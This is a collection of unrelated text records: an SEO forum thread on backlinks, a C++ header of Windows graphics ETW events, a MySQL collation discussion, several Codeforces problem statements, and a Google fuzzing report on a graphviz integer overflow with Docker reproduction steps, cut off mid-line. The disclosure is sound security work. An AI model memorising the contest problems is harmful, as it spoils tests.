{"text": "|Please somebody explain natural vs unnatural links|\nI have recently launched a website (about a month ago) and I am putting all my efforts in content building, link building etc. I am doing it manually, but aggressively. Within 50 days I have nearly 220 backlinks indexed in webmastertools.\nNow,can building backlinks aggressively trigger google to consider the links are unnatural? I hope not. If so, can somebody explain difference between natural and unnatural links. I am asking this because if I am doing something wrong by building links aggressively (though manually) I can correct myself at these early stages?\nPlease somebody help. Thanks in advance.\nLong and short - yes, building an unnatural link profile can set off red flags with Google.\nGoogle is able to measure inbound link development on a variety of websites in your genre. Additionally, Google can likely segment those links to know what 'types' of websites are proponents of flash links - a large series of inbound links from news sources and blogs.\nIt is the link profile - the number of links over a time frame, type of links, diversity of links, topic of website (and sub themes) and pages linked to, along with many other metrics, that Google can use to assess whether linking is unnatural or natural.\nI would suggest you try to build quality editorial links, as well as a diverse cross section of links to the website over time. Be patient, don't overdo it.\nEditorial links - links given to you freely to support your content - are almost always of the most value, and are often the least scrutinized. The worst the quality of link, and the greater numbers, the greater the risk.\nHi, Thanks for the reply.\nIf this is the case, can you suggest me a good number of links per month that can be built safely.\nThat number is different for every website. But I can tell you that is VERY difficult to build 220 editorially sound high quality links unless you are already a major authority.\nFocus less on the number of links, and focus more on getting high quality links from aged websites that are related to what you do.\nRegarding quality of links, I am trying my best to identify high PR sites.\nI am writing many articles to top article directories. Now, are links from article directories are of good quality? I am asking this because, the article directories are not directly related to our site's purpose.\nMy answer would be yes, and no. At one point, the value from article directories was considerable, but shortly thereafter was reduced significantly because of the relentless pummeling of these directories with crap content.\nThe value lies in finding niche directories, and websites which host niche directory / content sections where, if you content them, there is a chance they might consider posting content of yours.\nSince the topic is related to your niche, 90% of the other webmasters do not get content published there, and often it takes some charm and persistence (and great content) to get your content posted.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// This file originally generated by etw_list\n//     version:    development branch 1f6ac03eede3e9ab6a6bae5c6de68ad6dd75312d\n//     parameters: --show=all --output=c++ --event=Blit::Info --event=Flip::Info --event=FlipMultiPlaneOverlay::Info --event=HSyncDPCMultiPlane::Info --event=VSyncDPCMultiPlane::Info --event=MMIOFlip::Info --event=MMIOFlipMultiPlaneOverlay::Info --event=Present::Info --event=PresentHistory::Start --event=PresentHistory::Info --event=PresentHistoryDetailed::Start --event=QueuePacket::Start --event=QueuePacket::Stop --event=VSyncDPC::Info --provider=Microsoft-Windows-DxgKrnl\n// Copyright (C) 2020-2021 Intel Corporation\n// SPDX-License-Identifier: MIT\n#pragma once\n\nnamespace Microsoft_Windows_DxgKrnl {\n\n    struct __declspec(uuid(\"{802EC45A-1E99-4B83-9920-87C98277BA9D}\")) GUID_STRUCT;\n    static const auto GUID = __uuidof(GUID_STRUCT);\n\n    // Win7 GUID added manually:\n    namespace Win7 {\n        struct __declspec(uuid(\"{65cd4c8a-0848-4583-92a0-31c0fbaf00c0}\")) GUID_STRUCT;\n        struct __declspec(uuid(\"{069f67f2-c380-4a65-8a61-071cd4a87275}\")) BLT_GUID_STRUCT;\n        struct __declspec(uuid(\"{22412531-670b-4cd3-81d1-e709c154ae3d}\")) FLIP_GUID_STRUCT;\n        struct __declspec(uuid(\"{c19f763a-c0c1-479d-9f74-22abfc3a5f0a}\")) PRESENTHISTORY_GUID_STRUCT;\n        struct __declspec(uuid(\"{295e0d8e-51ec-43b8-9cc6-9f79331d27d6}\")) QUEUEPACKET_GUID_STRUCT;\n        struct __declspec(uuid(\"{5ccf1378-6b2c-4c0f-bd56-8eeb9e4c5c77}\")) VSYNCDPC_GUID_STRUCT;\n        struct __declspec(uuid(\"{547820fe-5666-4b41-93dc-6cfd5dea28cc}\")) MMIOFLIP_GUID_STRUCT;\n        static const auto GUID = __uuidof(GUID_STRUCT);\n        static const auto BLT_GUID = __uuidof(BLT_GUID_STRUCT);\n        static const auto FLIP_GUID = __uuidof(FLIP_GUID_STRUCT);\n        static const auto PRESENTHISTORY_GUID = __uuidof(PRESENTHISTORY_GUID_STRUCT);\n        static const auto QUEUEPACKET_GUID = __uuidof(QUEUEPACKET_GUID_STRUCT);\n        static const auto VSYNCDPC_GUID = __uuidof(VSYNCDPC_GUID_STRUCT);\n        static const auto MMIOFLIP_GUID = __uuidof(MMIOFLIP_GUID_STRUCT);\n    }\n\n    enum class Keyword : uint64_t {\n        Base = 0x1,\n        Profiler = 0x2,\n        References = 0x4,\n        ForceVsync = 0x8,\n        Patch = 0x10,\n        Cdd = 0x20,\n        Resource = 0x40,\n        Memory = 0x80,\n        Dxgkrnl_StatusChangeNotify = 0x100,\n        DxgKrnl_Power = 0x200,\n        DriverEvents = 0x400,\n        LongHaul = 0x800,\n        StablePower = 0x1000,\n        DefaultOverride = 0x2000,\n        HistoryBuffer = 0x4000,\n        GPUScheduler = 0x8000,\n        DxgKrnl = 0x10000,\n        DxgKrnl_WDI = 0x20000,\n        Miracast = 0x40000,\n        IndirectSwapChain = 0x80000,\n        GPUVA = 0x100000,\n        VidMmWorkerThread = 0x200000,\n        Diagnostics = 0x400000,\n        VirtualGpu = 0x800000,\n        AdapterLock = 0x1000000,\n        MixedReality = 0x2000000,\n        HardwareSchedulingLog = 0x4000000,\n        win_ResponseTime = 0x1000000000000,\n        Microsoft_Windows_DxgKrnl_Diagnostic = 0x8000000000000000,\n        Microsoft_Windows_DxgKrnl_Performance = 0x4000000000000000,\n        Microsoft_Windows_DxgKrnl_Power = 0x2000000000000000,\n        Microsoft_Windows_DxgKrnl_Contention = 0x1000000000000000,\n        Microsoft_Windows_DxgKrnl_Admin = 0x800000000000000,\n        Microsoft_Windows_DxgKrnl_Operational = 0x400000000000000,\n    };\n\n    enum class Level : uint8_t {\n        win_LogAlways = 0x0,\n        win_Error = 0x2,\n        win_Informational = 0x4,\n    };\n\n    enum class Channel : uint8_t {\n        Microsoft_Windows_DxgKrnl_Diagnostic = 0x10,\n        Microsoft_Windows_DxgKrnl_Performance = 0x11,\n        Microsoft_Windows_DxgKrnl_Power = 0x12,\n        Microsoft_Windows_DxgKrnl_Contention = 0x13,\n        Microsoft_Windows_DxgKrnl_Admin = 0x14,\n        Microsoft_Windows_DxgKrnl_Operational = 0x15,\n    };\n\n    // Event descriptors:\n#define EVENT_DESCRIPTOR_DECL(name_, id_, version_, channel_, level_, opcode_, task_, keyword_) struct name_ { \\\n    static uint16_t const Id      = id_; \\\n    static uint8_t  const Version = version_; \\\n    static uint8_t  const Channel = channel_; \\\n    static uint8_t  const Level   = level_; \\\n    static uint8_t  const Opcode  = opcode_; \\\n    static uint16_t const Task    = task_; \\\n    static Keyword  const Keyword = (Keyword) keyword_; \\\n};\n\n// NOTE: Blit_Cancel, IndependentFlip_Info, HSyncDPCMultiPlane_Info added manually\nEVENT_DESCRIPTOR_DECL(Blit_Info                     , 0x00a6, 0x00, 0x11, 0x04, 0x00, 0x0067, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(Blit_Cancel                   , 0x01f5, 0x00, 0x11, 0x04, 0x00, 0x0135, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(Flip_Info                     , 0x00a8, 0x00, 0x11, 0x00, 0x00, 0x0003, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(FlipMultiPlaneOverlay_Info    , 0x00fc, 0x00, 0x11, 0x00, 0x00, 0x008f, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(HSyncDPCMultiPlane_Info       , 0x017e, 0x00, 0x11, 0x00, 0x00, 0x00e6, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(IndependentFlip_Info          , 0x010a, 0x02, 0x11, 0x00, 0x00, 0x0097, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(MMIOFlip_Info                 , 0x0074, 0x00, 0x11, 0x00, 0x00, 0x0011, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(MMIOFlipMultiPlaneOverlay_Info, 0x0103, 0x03, 0x11, 0x00, 0x00, 0x0090, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(Present_Info                  , 0x00b8, 0x01, 0x11, 0x00, 0x00, 0x006b, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(PresentHistory_Start          , 0x00ab, 0x00, 0x11, 0x00, 0x01, 0x0006, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(PresentHistory_Info           , 0x00ac, 0x00, 0x11, 0x00, 0x00, 0x0006, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(PresentHistoryDetailed_Start  , 0x00d7, 0x00, 0x11, 0x00, 0x01, 0x007e, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(QueuePacket_Start             , 0x00b2, 0x01, 0x11, 0x00, 0x01, 0x0009, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(QueuePacket_Stop              , 0x00b4, 0x01, 0x11, 0x00, 0x02, 0x0009, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(QueuePacket_Start_2           , 0x00f4, 0x01, 0x11, 0x00, 0x01, 0x0009, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(QueuePacket_Start_3           , 0x00f5, 0x02, 0x11, 0x00, 0x01, 0x0009, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(VSyncDPC_Info                 , 0x0011, 0x00, 0x11, 0x00, 0x00, 0x000b, 0x4000000000000001)\nEVENT_DESCRIPTOR_DECL(VSyncDPCMultiPlane_Info       , 0x0111, 0x02, 0x11, 0x00, 0x00, 0x009f, 0x4000000000000001)\n\n#undef EVENT_DESCRIPTOR_DECL\n\n#pragma warning(push)\n#pragma warning(disable: 4200) // nonstandard extension used: zero-sized array in struct\n\n#pragma pack(push)\n#pragma pack(1)\n\ntemplate<typename PointerT>\nstruct Blit_Info_Struct {\n    PointerT    hwnd;\n    PointerT    pDmaBuffer;\n    uint64_t    PresentHistoryToken;\n    PointerT    hSourceAllocation;\n    PointerT    hDestAllocation;\n    uint32_t    bSubmit;\n    uint32_t    bRedirectedPresent;\n    uint32_t    Flags;\n    int32_t     Source_Left;\n    int32_t     Source_Right;\n    int32_t     Source_Top;\n    int32_t     Source_Bottom;\n    int32_t     Dest_Left;\n    int32_t     Dest_Right;\n    int32_t     Dest_Top;\n    int32_t     Dest_Bottom;\n    uint32_t    SubRectCount;\n};\n\ntemplate<typename PointerT>\nstruct Flip_Info_Struct {\n    PointerT    pDmaBuffer;\n    uint32_t    VidPnSourceId;\n    PointerT    FlipToAllocation;\n    uint32_t    FlipInterval;\n    uint32_t    FlipWithNoWait;\n    uint32_t    MMIOFlip;\n};\n\ntemplate<typename PointerT>\nstruct FlipMultiPlaneOverlay_Info_Struct {\n    uint32_t    VidPnSourceId;\n    uint32_t    LayerIndex;\n    uint32_t    Enabled;\n    PointerT    hAllocation;\n    uint32_t    Flags;\n    int32_t     SrcRect_left;\n    int32_t     SrcRect_right;\n    int32_t     SrcRect_top;\n    int32_t     SrcRect_bottom;\n    int32_t     DstRect_left;\n    int32_t     DstRect_right;\n    int32_t     DstRect_top;\n    int32_t     DstRect_bottom;\n    int32_t     ClipRect_left;\n    int32_t     ClipRect_right;\n    int32_t     ClipRect_top;\n    int32_t     ClipRect_bottom;\n    uint32_t    Rotation;\n    uint32_t    Blend;\n    uint32_t    NumFilters;\n    uint32_t    ColorSpace;\n    uint32_t    HDRMetaDataType;\n    uint32_t    SDRWhiteLevel;\n};\n\ntemplate<typename PointerT>\nstruct HSyncDPCMultiPlane_Info_Struct_Part1 {\n    PointerT    pDxgAdapter;\n    uint32_t    PlaneCount;\n    uint64_t    ScannedPhysicalAddress[]; // Count provided by PlaneCount.\n};\nstruct HSyncDPCMultiPlane_Info_Struct_Part2 {\n    uint32_t    VidPnSourceId;\n    uint32_t    FrameNumber;\n    uint32_t    FlipEntryCount;\n    uint64_t    FlipSubmitSequence[]; // Count provided by FlipEntryCount.\n};\n\ntemplate<typename PointerT>\nstruct MMIOFlip_Info_Struct {\n    PointerT    pDxgAdapter;\n    uint32_t    VidPnSourceId;\n    uint32_t    FlipSubmitSequence;\n    PointerT    FlipToDriverAllocation;\n    uint64_t    FlipToPhysicalAddress;\n    uint32_t    FlipToSegmentId;\n    uint32_t    FlipPresentId;\n    uint32_t    FlipPhysicalAdapterMask;\n    uint32_t    Flags;\n};\n\ntemplate<typename PointerT>\nstruct MMIOFlipMultiPlaneOverlay_Info_Struct {\n    PointerT    pDxgAdapter;\n    uint32_t    VidPnSourceId;\n    uint32_t    LayerIndex;\n    uint64_t    FlipSubmitSequence;\n    PointerT    FlipToDriverAllocation;\n    uint64_t    FlipToPhysicalAddress;\n    uint32_t    FlipToSegmentId;\n    uint32_t    FlipPresentId;\n    uint32_t    FlipPhysicalAdapterMask;\n    int32_t     SrcRect_left;\n    int32_t     SrcRect_right;\n    int32_t     SrcRect_top;\n    int32_t     SrcRect_bottom;\n    int32_t     DstRect_left;\n    int32_t     DstRect_right;\n    int32_t     DstRect_top;\n    int32_t     DstRect_bottom;\n    int32_t     ClipRect_left;\n    int32_t     ClipRect_right;\n    int32_t     ClipRect_top;\n    int32_t     ClipRect_bottom;\n    uint32_t    ColorSpace;\n    uint32_t    FlipEntryStatusAfterFlip;\n    uint32_t    Enabled;\n    uint32_t    SDRWhiteLevel;\n    uint32_t    DirtyRectCount;\n};\n\ntemplate<typename PointerT>\nstruct Present_Info_Struct {\n    uint32_t    hContext;\n    PointerT    hWindow;\n    uint32_t    VidPnSourceId;\n    uint32_t    FlipInterval; // Added in v1\n    uint32_t    Flags;\n    uint32_t    ReturnStatus;\n    PointerT    hSrcAllocHandle;\n    PointerT    hDstAllocHandle;\n};\n\ntemplate<typename PointerT>\nstruct PresentHistory_Start_Struct {\n    PointerT    hAdapter;\n    PointerT    Token;\n    uint32_t    Model;\n    uint32_t    TokenSize;\n    uint64_t    TokenData;\n};\n\ntemplate<typename PointerT>\nstruct PresentHistory_Info_Struct {\n    PointerT    hAdapter;\n    PointerT    Token;\n    uint32_t    Model;\n    uint32_t    TokenSize;\n    uint64_t    TokenData;\n};\n\ntemplate<typename PointerT>\nstruct PresentHistoryDetailed_Start_Struct_Part1 {\n    PointerT    hAdapter;\n    PointerT    Token;\n    uint32_t    Model;\n    uint32_t    TokenSize;\n    uint64_t    TokenData;\n    uint32_t    ScrollRect_left;\n    uint32_t    ScrollRect_right;\n    uint32_t    ScrollRect_top;\n    uint32_t    ScrollRect_bottom;\n    uint32_t    ScrollOffset_X;\n    uint32_t    ScrollOffset_Y;\n    uint32_t    DirtyRectCount;\n    int32_t     Left[]; // Count provided by DirtyRectCount.\n};\nstruct PresentHistoryDetailed_Start_Struct_Part2 {\n    int32_t     Right[]; // Count provided by DirtyRectCount.\n};\nstruct PresentHistoryDetailed_Start_Struct_Part3 {\n    int32_t     Top[]; // Count provided by DirtyRectCount.\n};\nstruct PresentHistoryDetailed_Start_Struct_Part4 {\n    int32_t     Bottom[]; // Count provided by DirtyRectCount.\n};\nstruct PresentHistoryDetailed_Start_Struct_Part5 {\n    uint32_t    SourceRect_left;\n    uint32_t    SourceRect_right;\n    uint32_t    SourceRect_top;\n    uint32_t    SourceRect_bottom;\n    uint32_t    DestWidth;\n    uint32_t    DestHeight;\n    uint32_t    TargetRect_left;\n    uint32_t    TargetRect_right;\n    uint32_t    TargetRect_top;\n    uint32_t    TargetRect_bottom;\n};\n\ntemplate<typename PointerT>\nstruct QueuePacket_Start_Struct {\n    PointerT    hContext;\n    uint32_t    PacketType;\n    uint32_t    SubmitSequence;\n    uint64_t    DmaBufferSize;\n    uint32_t    AllocationListSize;\n    uint32_t    PatchLocationListSize;\n    uint32_t    bPresent;\n    PointerT    hDmaBuffer;\n    PointerT    pQueuePacket;\n    uint64_t    ProgressFenceValue;\n};\n\ntemplate<typename PointerT>\nstruct QueuePacket_Stop_Struct {\n    PointerT    hContext;\n    uint32_t    PacketType;\n    uint32_t    SubmitSequence;\n    uint32_t    bPreempted;\n    uint32_t    bTimeouted;\n    PointerT    pQueuePacket;\n};\n\ntemplate<typename PointerT>\nstruct QueuePacket_Start_2_Struct {\n    PointerT    hContext;\n    uint32_t    SubmitSequence;\n    uint32_t    Flags;\n    PointerT    hSyncObject;\n    uint64_t    FenceValue;\n    PointerT    pQueuePacket;\n};\n\ntemplate<typename PointerT>\nstruct QueuePacket_Start_3_Struct_Part1 {\n    PointerT    hContext;\n    uint32_t    SubmitSequence;\n    uint32_t    Flags;\n    uint32_t    ObjectCount;\n    PointerT    ObjectArray[]; // Count provided by ObjectCount.\n};\nstruct QueuePacket_Start_3_Struct_Part2 {\n    uint64_t    FenceValue[]; // Count provided by ObjectCount.\n};\ntemplate<typename PointerT>\nstruct QueuePacket_Start_3_Struct_Part3 {\n    PointerT    pQueuePacket;\n};\n\ntemplate<typename PointerT>\nstruct VSyncDPC_Info_Struct {\n    PointerT    pDxgAdapter;\n    uint32_t    VidPnTargetId;\n    uint64_t    ScannedPhysicalAddress;\n    uint32_t    VidPnSourceId;\n    uint32_t    FrameNumber;\n    int64_t     FrameQPCTime;\n    PointerT    hFlipDevice;\n    uint32_t    FlipType;\n    uint64_t    FlipFenceId;\n};\n\ntemplate<typename PointerT>\nstruct VSyncDPCMultiPlane_Info_Struct_Part1 {\n    PointerT    pDxgAdapter;\n    uint32_t    PlaneCount;\n    uint64_t    PresentIdOrPhysicalAddress[]; // Count provided by PlaneCount.\n};\nstruct VSyncDPCMultiPlane_Info_Struct_Part2 {\n    uint32_t    VidPnSourceId;\n    uint32_t    FrameNumber;\n    uint32_t    FlipEntryCount;\n    uint64_t    FlipSubmitSequence[]; // Count provided by FlipEntryCount.\n};\nstruct VSyncDPCMultiPlane_Info_Struct_Part3 {\n    uint32_t    FlipQueues;\n    uint32_t    FlipQueueIntervalTarget[]; // Count provided by FlipQueues.\n};\n\n#pragma pack(pop)\n#pragma warning(pop)\n\n// Manually added:\nenum class FlipEntryStatus {\n    FlipWaitVSync = 5,\n    FlipWaitComplete = 11,\n    FlipWaitHSync = 15,\n    // There are others, but they're more complicated to deal with.\n};\n\nenum class MMIOFlip {\n    Immediate = 0x2,\n    OnNextVSync = 0x4\n};\n\n}\n\n// d3dkmthk.h\nenum D3DKMT_PRESENT_MODEL\n{\n    D3DKMT_PM_UNINITIALIZED       = 0,\n    D3DKMT_PM_REDIRECTED_GDI       = 1,\n    D3DKMT_PM_REDIRECTED_FLIP      = 2,\n    D3DKMT_PM_REDIRECTED_BLT       = 3,\n    D3DKMT_PM_REDIRECTED_VISTABLT  = 4,\n    D3DKMT_PM_SCREENCAPTUREFENCE   = 5,\n    D3DKMT_PM_REDIRECTED_GDI_SYSMEM  = 6,\n    D3DKMT_PM_REDIRECTED_COMPOSITION = 7,\n    D3DKMT_PM_SURFACECOMPLETE        = 8,\n    D3DKMT_PM_FLIPMANAGER            = 9,\n};\n\n// dxetwevt.h\nenum DXGKETW_QUEUE_PACKET_TYPE {\n    DXGKETW_RENDER_COMMAND_BUFFER     = 0,\n    DXGKETW_DEFERRED_COMMAND_BUFFER   = 1,\n    DXGKETW_SYSTEM_COMMAND_BUFFER     = 2,\n    DXGKETW_MMIOFLIP_COMMAND_BUFFER   = 3,\n    DXGKETW_WAIT_COMMAND_BUFFER       = 4,\n    DXGKETW_SIGNAL_COMMAND_BUFFER     = 5,\n    DXGKETW_DEVICE_COMMAND_BUFFER     = 6,\n    DXGKETW_SOFTWARE_COMMAND_BUFFER   = 7,\n    DXGKETW_PAGING_COMMAND_BUFFER     = 8,\n};", "source": "cpt_stack_code", "language": "code", "token_count": 5824, "token_count_with_eod": 5825, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Erik Moeller wrote:\nOn 4/13/06, Gregory Maxwell <gmaxwell(a)gmail.com>\nAFAIR, most string matches in mysql are case\ninsensitive, which would\nmean that we could have indexed case insensitive matches quickly...\nbut I'm guessing that our use of binary fields for titles (which is\nrequired because no version of mysql has complete UTF-8 support) most\nlikely breaks that.\nYes, they are, and yes, it does. Could someone explain what the exact\nreason is that we're using varchar binary in MediaWiki for page\ntitles? I've been using regular varchars for my WiktionaryZ tables,\nand so far it seems to work fine with UTF-8. Where exactly does a\nnon-binary varchar break?\nIt could break string matching, but would definitely break sorting. (Sorting by\ncodepoint may suck, but at least it's predictable.)\nMore generally, deliberately choosing a non-binary collation which applies to a\n*different character set* from the one really you're using seems pretty silly.\nYou get unpredictable, incorrect sorting and potentially have strings rejected\nMight it make sense to use non-binary strings and use\ncomparisons instead where case-sensitivity is required?\nWhen MySQL finally reaches the mid-1990s and supports full Unicode, we'll be\nable to do that.\n-- brion vibber (brion @ pobox.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 306, "token_count_with_eod": 307, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.\nRevert \"Dialog: Don't change DOM position on open. Fixes #6137 - dial…\n…og('open') causes form elements to reset on IE7.\" This reverts commit 67b1db1. Reverting so I can commit again with the proper author.\n- Loading branch information\nShowing 2 changed files with 3 additions and 17 deletions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ria Galanos is in her 15th year teaching and has been a computer science teacher since 2003. After the first leg of her teaching career at Centennial High School in Roswell, Georgia, 2012 brought her to a new position teaching computer science at the Thomas Jefferson High School for Science and Technology in Alexandria, Virginia where she teaches both the old APCS AB course and Mobile App Development (for Android). Ria is passionate about introducing young people to the field of computer science, teaching them how to program, showing them how to create something from nothing, and making them thirsty to learn more. She enjoys collaborating with and mentoring other teachers in order to improve student achievement and retention in computer science. She is interested in finding ways to increase: the number of students who take computer science courses at the middle and high school levels, the percentage of girls and under-represented minorities in those courses, and the number of students who pursue further study in the field. She has served as a reader/table leader for the AP Computer Science exam since 2007. In 2010, she co-founded the Georgia chapter of the Computer Science Teachers Association (CSTA) and served as the chapter’s first president. She was a member of the 2008-09 Georgia Disciplinary Commons for Computing Educators and returned as the high school teacher leader for 2009-11. In 2010, she mentored two teaching teams for Georgia Institute of Technology’s Operation Reboot program, a program to help IT professionals re-enter the workforce as a high school computer science teacher by pairing them with an existing computing teacher. From 2011-13, Ria served on the Board of Directors for the CSTA as a 9-12th representative and chaired the Professional Development Committee. She serves as moderator of the CSTA Member Discussions Listserv. She is an active member of the Northern Virginia chapter of the CSTA and held a teacher workshop on App Inventor for the chapter in January 2013. In the summers of 2011 and 2012, Ria served as an instructor for Google’s Computer and Programming Experience (CAPE) camp for rising ninth graders. She continues to work with Google’s K12 Education Outreach team on projects geared towards inspiring young people to explore and pursue careers in computer science and is currently a teaching fellow for their Trailblazer program. She was one of 20 high-school educators to receive the 2011 Aspirations in Computing Educator Award sponsored by the National Center for Women & Information Technology and Google for her support of young women’s participation in computing and technology. Ria holds a bachelor's degree in Aeronautical Engineering from Rensselaer Polytechnic Institute, a master's degree in Secondary Mathematics Education from Virginia Polytechnic Institute and State University, an advanced teaching diploma from Emory University, and is endorsed to teach computer science, mathematics, and physics.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 620, "token_count_with_eod": 621, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "\"At the top of the feature list for this new distro is\nsomething that all users will notice, namely faster boot times --\nspecifically a claim for a 20 second startup. Faster startup is a\nkey goal for Linux distros this release season, Ubuntu Jaunty which\nshould be out at the end of April, also features a faster startup.\n\"Fedora is also aiming to have the new ext4 Linux filesystem as\nthe default for new Fedora 11 installations, which will not only\naid boot times but performance of the distro overall.\"", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Women's rights in the US throughout time.\nWhat is typography? What is a typographic weathervane? This project tested the designer to use typography in any subject and in any medium. I designed a timeline to show the growth of women through the past 165 years in the United States. The typography illustrates how women advanced in social, economic, and political changes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 78, "token_count_with_eod": 79, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Most Underrated Starfighter - Thrawn’s Animated Analysis\nThe Assault Gunboat, or Alpha Class XG-1 Star Fighter, was first seen in the old X-wing PC game, and intimidated rebel pilots when it arrived on the scene.\nUnfortunately is is rarely seen outside the X-wing series of games.\nSupport Resurrected Starships on Patreon!! https://www.patreon.com/user?u=4159483\nAll animations, models, voice acting, and sounds created by the author - this type of video takes long hours of work!\nMain Theme by Tall Sound Bar : https://youtu.be/hIDKuVll5TU\nOuttro Music by TechnoAxe, Scientific Reasoning: https://youtu.be/oY7Ht6G1zGA", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A permutation p of length n is a sequence of distinct integers p1, p2, ..., pn (1 ≤ pi ≤ n). A permutation is an identity permutation, if for any i the following equation holds pi = i.\n\nA swap (i, j) is the operation that swaps elements pi and pj in the permutation. Let's assume that f(p) is the minimum number of swaps that you need to make the permutation p an identity permutation.\n\nValera wonders, how he can transform permutation p into any permutation q, such that f(q) = m, using the minimum number of swaps. Help him do that.", "source": "cpt_codeforces", "language": "en", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Does anyone know a good site to get info about the PSX or PC game Final Fantasy 8 ? (Artwork, Walktrough, Info About Items, ECT.)\nPS. Where can i find a lead-pipe or something ? (it's needed to upgrade Squall's weapon.)\nYou can look at http://go.to/psxdepot.\nThe site is down, any oder suggestions ?Tnx anyway two,\nWell, if i remember right, you have to steal the pipes from the annoying creatures who roam on the small south islands. Stealing is an ability only diablo can learn ( diablo is the GF who comes out of the ring you get from the ehhh... president of the school )I'll look it up when I get home , If I'm wrong I'll post the correct answer\nOr you can try this link: http://www.gamingforce.com/rpg/games/ff8/\ncheck http://www.gamefaqs.com this is the best site for walktroughs and codes!!!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 215, "token_count_with_eod": 216, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|Update interactive graph with franchises\n||Continue Project 8852207.\nCreate a graph/chart for the top franchises in the attached file. Make this the default display. Install the entire graphing feature on new web site.\nThe previous project is attached for reference only.\n||PHP, Website Design, Graphic Design, HTML\n||Apr 27, 2017\n|Analyze some data -- 2\n||I have a data analysis task. I need this mini project to be done ASAp in python..\nit encompasses simple networking, multi-threading, database, graphing, configuration, classes...\nAsk me any questions and doubts you have.... you can refer to internet anywhere to begin this project as well...\n1. Create account in [url removed, login to view]\n2. Get API access key\n3. Make a multi-threaded program t...\n||Apr 23, 2017\n||Apr 23, 20172d 15h", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Masha's little brother draw two points on a sheet of paper. After that, he draws some circles and gave the sheet to his sister.\n\nMasha has just returned from geometry lesson so she instantly noticed some interesting facts about brother's drawing.\n\nAt first, the line going through two points, that brother drew, doesn't intersect or touch any circle.\n\nAlso, no two circles intersect or touch, and there is no pair of circles such that one circle is located inside another.\n\nMoreover, for each circle, Masha drew a square of the minimal area with sides parallel axis such that this circle is located inside the square and noticed that there is no two squares intersect or touch and there is no pair of squares such that one square is located inside other.\n\nNow Masha wants to draw circle of minimal possible radius such that it goes through two points that brother drew and doesn't intersect any other circle, but other circles can touch Masha's circle and can be located inside it.\n\nIt's guaranteed, that answer won't exceed 1012. It should be held for hacks as well.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi to all the nice perople here!\nI've been keeping an eye on this piece of software for quite a long time, I found it smart but a little young for sketchup users (like me). With the new material editor I find it to be very cool, and even more interesting to produce atmospheric images and videos with such an ease!\nSo I am creating this thread not to invade someone's other room, and try to make a little space for my sharing my noob tests. Hope to learn to play with this bad boy in a short time!\nPS. My monitor calibration could be totally wrong due to reasons I won't bore you with: tell me if you see it just right! Thanks!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Raindrops the size of bullets thundered on the castle windows for days on end; the lake rose, the flowerbeds turned into muddy streams and Hagrid's pumpkins swelled to the size of garden sheds.\nMy question is how we should take \"Raindrops the size of bullets\" from the grammar standpoint. Is it a noun phrase \"the size of bullets\" modifying another noun word 'Raindrops'? Or it's kind of omission for Raindrops which had the size of bullets?\nHow should we understand it from the grammar standpoint?\n-- From Harry Potter.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Signed Integer Overflow (72006238)\nHello graphviz team,\nAs part of our fuzzing efforts at Google, we have identified an issue affecting graphviz (tested with revision * master bd97cff6).\nTo reproduce, we are attaching a Dockerfile which compiles the project with LLVM, taking advantage of the sanitizers that it offers. More information about how to use the attached Dockerfile can be found here: https://docs.docker.com/engine/reference/builder/\nTL;DR instructions: artifacts_72006238.zip\ncp Dockerfile.graphviz /path/to/project/Dockerfile\ndocker build --no-cache /path/to/project\ndocker run -it image_id_from_docker_build\nFrom another terminal, outside the container:\ndocker cp /path/to/attached/reproducer running_container_hostname:/fuzzing/reproducer\nAnd, back inside the container:\nAlternatively, and depending on the bug, you could use gcc, valgrind or other instrumentation tools to aid in the investigation. The sanitizer error that we encountered is here:\nINFO: Seed: 2388882439 /fuzzing/graphviz/parser_fuzzer: Running 1 inputs 1 time(s) each. Running: poc-19b0928da2bc1de39ea63bc68e9766561f7535a677a0f107cd1ab8e21d00fd65 ../../lib/cgraph/scan.l:116:20: runtime error: 